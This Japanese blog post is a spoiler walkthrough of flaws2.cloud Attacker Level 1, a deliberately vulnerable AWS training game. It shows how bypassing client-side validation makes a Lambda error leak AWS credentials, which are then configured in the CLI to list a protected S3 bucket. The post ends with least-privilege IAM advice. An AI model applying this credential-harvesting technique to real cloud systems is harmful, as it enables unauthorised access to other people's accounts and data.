chikoblog

やってみたことの掃溜め

flaws2.cloudをやってみた Attacker Level 1

※この記事はflaws2.cloudの解き方の一例が載ってます。
 今後flaws2.cloudにチャレンジ予定の方はネタバレになってしまいます。

flaws.cloudの続編⁉flaws2.cloudがあったのでそちらを解いてみました!

flaws2.cloudとは

f:id:Chiko_gorilla:20200313171454p:plain flaws2.cloud

AWS固有のセキュリティリスクに焦点を当てている実技問題が載っており、
それをゲーム形式で自ら手を動かし解いていくことでAWSのセキュリティ概念を学習できるサイトとなっております。

元のflaws.cloudと違い、flaws2.cloudは「Attacker」と「Defender」で問題が分かれています。 Attackerの問題では、サーバーレスサービスのLambdaやECS、Fargateの設定ミスを悪用し攻撃を模擬的におこなえます。 Defenderの問題は、ログの分析におけるjqの使い方、Athenaを使い解析する方法について紹介されているようです。

初めての方はAttackerから行うのを推奨しているので今回はAttacker Level 1の問題の解説をしていきます。

Attacker Level 1

トップページはこんな感じです。 f:id:Chiko_gorilla:20200315173627p:plain level1.flaws2.cloud

For this level, you'll need to enter the correct PIN code. The correct PIN is 100 digits long, so brute forcing it won't help.

Level 1では、正しいPINコードを入力する必要があります。
正しいPINは100桁の長さであるため、ブルートフォースアタックしても無駄ですよ〜って書いてありますね。

ひとまず、現状何も情報を得ていないので、色々調査をしていく必要がありますね。

flaws2のドメインである、level1.flaws2.cloudに対して、digコマンドを実行してこのページがなんのAWSサービスを利用しているかみてみます。

$ dig any level1.flaws2.cloud +short
52.216.207.122
$ dig any -x 52.216.207.122 +short
s3-website-us-east-1.amazonaws.com. 

PTRレコード情報が抜けました。
とりあえずS3バケットを利用していそうってことは分かりました。

s3 lsコマンドを実行してな内容が確認できるかやってみます。

$ aws s3 ls s3://level1.flaws2.cloud

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

権限がないと言われているので、S3バケットの内容は確認できないようです。

他に何か情報が盗み取れないか、色々試してみます。
次にやってみるのはのトップページに乗っているコードに適当な文字を入れてみてどんなエラーが出るかみてみたいと思います。 f:id:Chiko_gorilla:20200315175111p:plain

まずは適当な数字を入力します。 f:id:Chiko_gorilla:20200315175455p:plain

再実行をうながされてしまいます。 次に適当な文字「chiko」と入力してみました。 f:id:Chiko_gorilla:20200315175608p:plain

数字を入力しろって言われますね、この辺で簡単にヒントをくれるようなサイトではないようです。

次にソースコード内に何か載っていないかみてみます。
右クリックでソースページを表示してみます。 51行目くらいに以下のようなJavaScriptが書かれていました。

            <script type="text/javascript">
                function validateForm() {
                    var code = document.forms["myForm"]["code"].value;
                    if (!(!isNaN(parseFloat(code)) && isFinite(code))) {
                        alert("Code must be a number");
                        return false;
                    }
                }
            </script>

フォームに入力された値が数字かどうかをチェックするバリデーションが設定されているように思えます。

65行目〜69行目に上記の記述に紐ずいていそうな内容が書いてあります。

            <form name="myForm" action="https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1" onsubmit="return validateForm()">
                Code: <input type="text" name="code" value="1234">
                <br><br>
                <input type="submit" value="Submit">
            </form>

サブミットしているURLはhttps://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1のようです。
このURLに数字以外の文字を直接HTTPリクエストで送ればバリデーションには引っかからなさそうです。
試しに以下のURLでブラウザアクセスしてみます。

https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=chiko

エラー画面が出てきました。 f:id:Chiko_gorilla:20200315181704p:plain

見づらいのでjqしました。

{
  "PATH": "/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin",
  "LD_LIBRARY_PATH": "/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib",
  "LANG": "en_US.UTF-8",
  "TZ": ":UTC",
  "LAMBDA_TASK_ROOT": "/var/task",
  "LAMBDA_RUNTIME_DIR": "/var/runtime",
  "AWS_REGION": "us-east-1",
  "AWS_DEFAULT_REGION": "us-east-1",
  "AWS_LAMBDA_LOG_GROUP_NAME": "/aws/lambda/level1",
  "AWS_LAMBDA_LOG_STREAM_NAME": "2020/03/15/[$LATEST]640339acb1e34b1eaa7c8d3727f1a4d5",
  "AWS_LAMBDA_FUNCTION_NAME": "level1",
  "AWS_LAMBDA_FUNCTION_MEMORY_SIZE": "128",
  "AWS_LAMBDA_FUNCTION_VERSION": "$LATEST",
  "_AWS_XRAY_DAEMON_ADDRESS": "169.254.79.2",
  "_AWS_XRAY_DAEMON_PORT": "2000",
  "AWS_XRAY_DAEMON_ADDRESS": "169.254.79.2:2000",
  "AWS_XRAY_CONTEXT_MISSING": "LOG_ERROR",
  "_X_AMZN_TRACE_ID": "Root=1-5e6df266-003e20d895498d9ee6c0357a;Parent=21398fd6380e68d6;Sampled=0",
  "AWS_EXECUTION_ENV": "AWS_Lambda_nodejs8.10",
  "_HANDLER": "index.handler",
  "NODE_PATH": "/opt/nodejs/node8/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task:/var/runtime/node_modules",
  "AWS_ACCESS_KEY_ID": "ASIAZQNB3KHGGRAPDGC2",
  "AWS_SECRET_ACCESS_KEY": "L71VBO2kFSru+gsN93wlgO6vqwgRtT+fxRoDwK3m",
  "AWS_SESSION_TOKEN": "IQoJb3JpZ2luX2VjEIn//////////wEaCXVzLWVhc3QtMSJHMEUCIHCz7mtB1p3FPf96jq3Rogv4ewQlL334CFojLjjI3oTQAiEAwL9Lmrl9iLLE1WBDvnH9KnGZmJ/nRoY0kd907kS1gTIqxQEIchABGgw2NTM3MTEzMzE3ODgiDHwlJBwPIrbJftghpSqiAXSnEtzbu+pHgMuRuQtv5JaSffXKr6arafnwcIefhH7RxxvcDa7QxFv7XT2wGAfAvF8KMmJzRof0rNXIUPfpu+eBy212zO6cdEDbmETq0fAzEDUFWpYFtTgzZtY7JjuWhgxvw2nOdAbkIf675q/vC2H0DTdQjjwjDJYc/bbnv9sq9qQbi01j9Cfm6tvGpp1chyb7JTV+nqSCF/Yswq2pG3VdYzCE2LfzBTrgATTrkUB8FODKFUK+ZZ1d1iZ58TtcE9saQoEqz3WOUiADwpJC2P5IbE75uBVHiLDroWDYnJVh5wqCYmqVb/tToI9Zn02gGnB0X80SAf0o0GjHq8kK7d11gaCXguYu76zWg5neooy/CvkYb8bJUnYyw2vFJY98YlilRpqIP767Hc9CXxxD/Jceqs3N6JLrJSyI4h7evOEXhmKa6dIo9ehwx9ryc6bu1ritOhSAiJGyCU6UFU1euqdWYeCiG+bAkIO1kMboJssag9j6ORI5JBPoOb2d45vZShOSVumEiUm/JGvc"
}

恐ろしいことにこのエラー画面にはAWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEYさらにAWS_SESSION_TOKENが記載されています。

手に入れた情報をもとにaws configureコマンドでプロファイルを作成します。

$ aws configure --profile flaws2_1
AWS Access Key ID [None]: ASIAZQNB3KHGGRAPDGC2
AWS Secret Access Key [None]: L71VBO2kFSru+gsN93wlgO6vqwgRtT+fxRoDwK3m
Default region name [None]: us-east-1
Default output format [None]: 

次にAWS_SESSION_TOKENを登録します。

$ vim .aws/credentials
[flaws2_1]
aws_access_key_id = ASIAZQNB3KHGGRAPDGC2
aws_secret_access_key = L71VBO2kFSru+gsN93wlgO6vqwgRtT+fxRoDwK3m
aws_session_token = IQoJb3JpZ2luX2VjEIn//////////wEaCXVzLWVhc3QtMSJHMEUCIHCz7mtB1p3FPf96jq3Rogv4ewQlL334CFojLjjI3oTQAiEAwL9Lmrl9iLLE1WBDvnH9KnGZmJ/nRoY0kd907kS1gTIqxQEIchABGgw2NTM3MTEzMzE3ODgiDHwlJBwPIrbJftghpSqiAXSnEtzbu+pHgMuRuQtv5JaSffXKr6arafnwcIefhH7RxxvcDa7QxFv7XT2wGAfAvF8KMmJzRof0rNXIUPfpu+eBy212zO6cdEDbmETq0fAzEDUFWpYFtTgzZtY7JjuWhgxvw2nOdAbkIf675q/vC2H0DTdQjjwjDJYc/bbnv9sq9qQbi01j9Cfm6tvGpp1chyb7JTV+nqSCF/Yswq2pG3VdYzCE2LfzBTrgATTrkUB8FODKFUK+ZZ1d1iZ58TtcE9saQoEqz3WOUiADwpJC2P5IbE75uBVHiLDroWDYnJVh5wqCYmqVb/tToI9Zn02gGnB0X80SAf0o0GjHq8kK7d11gaCXguYu76zWg5neooy/CvkYb8bJUnYyw2vFJY98YlilRpqIP767Hc9CXxxD/Jceqs3N6JLrJSyI4h7evOEXhmKa6dIo9ehwx9ryc6bu1ritOhSAiJGyCU6UFU1euqdWYeCiG+bAkIO1kMboJssag9j6ORI5JBPoOb2d45vZShOSVumEiUm/JGvc

作成したプロファイルを使い、aws s3 lsコマンドで再度S3バケットの中身を確認してみます。

$ aws s3 ls s3://level1.flaws2.cloud --profile flaws2_1 
                           PRE img/
2018-11-21 05:55:05      17102 favicon.ico
2018-11-21 11:00:22       1905 hint1.htm
2018-11-21 11:00:22       2226 hint2.htm
2018-11-21 11:00:22       2536 hint3.htm
2018-11-21 11:00:23       2460 hint4.htm
2018-11-21 11:00:17       3000 index.htm
2018-11-21 11:00:17       1899 secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html

明らかに怪しいsecret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.htmlを開いてみます。

http://level1.flaws2.cloud/secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.htmlでブラウザアクセスします。 f:id:Chiko_gorilla:20200315190101p:plain

Level 2へのURLが記載されています。
Level 1クリアとなります!

やってみた感想

解説にも書いてありましたが、サーバレスサービスは環境変数からIAMロールの認証情報を取得します。エラー状態が発生したときに環境変数をダンプして、それを見て問題のデバッグをおこなえるようになっているからだそうです。
ただ、この仕様を理解していないで利用していると、今回の問題のように環境変数に機密情報が含まれることがあるため、意図しない第三者に情報が盗まれる危険がありますね。

また、今回の問題のように環境変数に表示されるサーバレスサービスのIAMロールに、必要な操作以外に不要な操作権限を与えてしまうと情報が漏洩した際に色々やられてしまいます。

AWSのベストプラクティスは、目的を達成するために必要なIAMポリシーで最小限の特権のみをサービスに付与するとありますので、これはしっかりと意識してIAMポリシーを作成しないといけませんね。

皆様も一度やってみてはいかがでしょうか?

また、過去にflaws.cloudの解説も上げてますので気になる方はこちらも見ていただけると幸いです。

chikoblog.hatenablog.jp